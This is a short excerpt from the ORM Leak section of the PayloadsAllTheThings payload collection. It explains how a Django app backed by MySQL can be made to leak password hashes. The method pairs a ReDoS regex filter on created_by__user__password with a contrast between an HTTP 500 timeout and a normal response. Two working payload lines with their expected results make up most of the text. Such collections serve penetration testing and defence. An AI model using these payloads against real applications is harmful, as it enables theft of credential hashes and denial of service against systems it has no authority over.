If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
// => Error 500 (Timeout exceeded in regular expression match)Source: ORM Leak/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.